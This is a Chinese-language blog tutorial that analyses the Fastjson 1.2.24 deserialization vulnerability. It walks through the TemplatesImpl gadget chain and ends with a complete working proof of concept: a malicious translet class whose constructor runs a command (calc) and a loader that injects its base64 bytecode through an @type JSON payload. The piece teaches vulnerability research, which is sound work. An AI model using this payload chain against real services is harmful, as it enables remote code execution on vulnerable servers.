Fastjson反序列化讲解

2年前 (2022) 程序员胖胖胖虎阿
477 0 0

文章目录

  • 一、Java自省机制简介
  • 二、漏洞分析
  • 三、漏洞利用

一、Java自省机制简介

Java自省机制是Java语言对JavaBean类属性、事件的一种缺省转换方式,对于类的私有属性需要设置set/get方法来获取和设置值的这是一种默认规则,而在Java中存在一个API让我们可以不用去了解这个规则这个API在包java.beans中的,通过这个API可以直接掉类中get/set方法去读取和设置类属性值

import java.beans.PropertyDescriptor;
import java.lang.reflect.Method;


public class JavaTest {
    public static void main(String[] args) throws java.beans.IntrospectionException, IllegalAccessException, IllegalArgumentException,java.lang.reflect.InvocationTargetException{
        Point point = new Point(2,3);
        String proname = "x";//设置属性名
        PropertyDescriptor propertyDescriptor = new PropertyDescriptor(proname,Point.class);//实例化一个类属性描述器对象
        Method methodsetX = propertyDescriptor.getWriteMethod();//定义一个方法或得写入属性值的方法
        methodsetX.invoke(point,8);//自动调用setX方法给X赋值,相当于我们不需要去了解setX这个方法使用API来完成,类中必须要有这个方法
        System.out.println(point.getX());
    }
}
class Point{//自定义的一个类
    private int x;
    private int y;
    public Point(int x, int y){
        super();
        this.x = x;
        this.y = y;
    }

    public int getX() {
        return x;
    }

    public void setX(int x) {
        this.x = x;
    }

    public int getY() {
        return y;
    }

    public void setY(int y) {
        this.y = y;
    }
}

JSON本身是不能识别数据类型的,而Fastjson实现了这样的自省功能,可以识别为一个对象调用函数进行序列化为一个对象,自动去调用类中的set方法进行赋值

import com.alibaba.fastjson.JSON;


public class JavaTest {
    public static void main(String[] args) throws java.beans.IntrospectionException, 
        System.out.println(point.getX());*/
        String json = "{\"x\":12,\"y\":\"13\"}";//传入一个json数据
        Point point = JSON.parseObject(json, Point.class);//调用fastjson进行反序列化生成一个对象
        System.out.println(point.getX());
    }
}
class Point{//自定义的一个类
    private int x;
    private int y;

    public int getX() {
        return x;
    }

    public void setX(int x) {
        this.x = x;
    }

    public int getY() {
        return y;
    }

    public void setY(int y) {
        this.y = y;
    }
}

二、漏洞分析

首先来看一下序列化之后的字符串格式吧

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class JavaTest {
    public static void main(String[] args) throws java.beans.IntrospectionException, IllegalAccessException, IllegalArgumentException,java.lang.reflect.InvocationTargetException{
        Point point = new Point(2,3);
        String testjson = JSON.toJSONString(point, SerializerFeature.WriteClassName);
        System.out.println(testjson);
    }
}
class Point{//自定义的一个类
    private int x;
    private int y;
    public Point(int x, int y){
        super();
        this.x = x;
        this.y = y;
    }

    public int getX() {
        return x;
    }

    public void setX(int x) {
        this.x = x;
    }

    public int getY() {
        return y;
    }

    public void setY(int y) {
        this.y = y;
    }
}

运行之后的输出结果如下,可以看到其中包含了一个@type和类名
Fastjson反序列化讲解
然后当我们传入一个json数据包含了@type的时候,在调用JSON.parse的时候就会进行反序列化生成一个对象
所以我们可以思考传入一个可以被利用的类进行反序列化,触发恶意代码执行,在1.2.24爆出的漏洞包含了如下类的可以进行利用:

  1. Collection
  2. Map
  3. AtomicBoolean
  4. AtomicInteger
  5. AtomicLong

并且知道 Properties 类继承自 Hashtable ,同时在 Hashtable 中实现了Map接口,所以只需找到包含了Properties 类的地方就行了,在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 中发现了该类的变量
Fastjson反序列化讲解
根据前面的分析只要我们传入的JSON数据中有@type就会进行去反序列化生成对象,所以可以在传入的JSON中包含@type:TemplatesImpl ,在进行生成对象的时候会给属性赋值,在接收到 _outputProperties 这个参数的时候会调用 TemplatesImpl 中的 getoutputProperties 方法,该方法里面调用了 newTransformer() 方法
Fastjson反序列化讲解
继续跟进该方法发现实例化了一个 TransformerImpl 对象,并且调用了 getTransletInstance()方法
Fastjson反序列化讲解
跟进getTransletInstance()方法发现在_class为null的时候会执行 defineTransletClasses()
Fastjson反序列化讲解
defineTransletClass es() 方法中写到将 _bytecodes[] 中的类通过类加载赋值给 _class[] ,并且如果类的父类与ABSTRACT_TRANSLET 常量相同,则 _transletIndex 等于当前索引
Fastjson反序列化讲解
执行完之后返回,进行 AbstractTranslet 对象实例化,调用 newInstance(),该方法有一个缺点只能使用无参构造函数,也就是说我们构造一个恶意类该类在实例化的时候会调用构造函数,但是只能是无参构造函数
经过分析可以得到我们需要将@type 值设为 TemplatesImpl 构造一个恶意类在该类的无参构造函数中执行我们想要执行的命令,然后生成class文件将这个二进制文件内容赋值给 _bytecodes[] 然后通过实例化的时候调用构造函数进而运行恶意代码,但是这里存在一个点如何将二进制赋值给数组内,这就涉及到了 com.alibaba.fastjson.parser.JSONScanner.bytesValue()方法,在该方法中识别到数据是base64编码的话会自动解码,所以可以将二进制数据先进行编码传给数组
Fastjson反序列化讲解

三、漏洞利用

首先构造一个恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exec extends AbstractTranslet{
    public Exec() throws java.io.IOException{
        Runtime.getRuntime().exec("calc");
    }
    @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

然后编译生成二进制的class文件
Fastjson反序列化讲解
然后将二进制文件内容进行base64之后赋值给 _bytecodes[] ,需要下载 commons.io 包进行导入添加到库

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import org.apache.commons.io.IOUtils;
import java.util.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;


public class JavaTest {
    public static void main(String[] args) throws java.io.IOException,java.io.FileNotFoundException,java.beans.IntrospectionException, IllegalAccessException, IllegalArgumentException,java.lang.reflect.InvocationTargetException{
        ParserConfig config = new ParserConfig();
        String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        IOUtils.copy(new FileInputStream(new File("d:/JavaIDE/Projects/src/Exec.class")),bos);
        String bytecode = Base64.getEncoder().encodeToString(bos.toByteArray());
        String json = "{\"@type\":\"" + className + "\",\"_bytecodes\":[\"" + bytecode + "\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"\",\"_version\":\"\",\"allowedProtocols\":\"\"}";
        System.out.println(json);
        JSON.parse(json,Feature.SupportNonPublicField);
    }
}

运行结果,成功运行了计算器
PS:这是在fastjson2.2.24版本中利用的
Fastjson反序列化讲解

版权声明:程序员胖胖胖虎阿 发表于 2022年10月29日 下午2:08。
转载请注明:Fastjson反序列化讲解 | 胖虎的工具箱-编程导航

相关文章

暂无评论

暂无评论...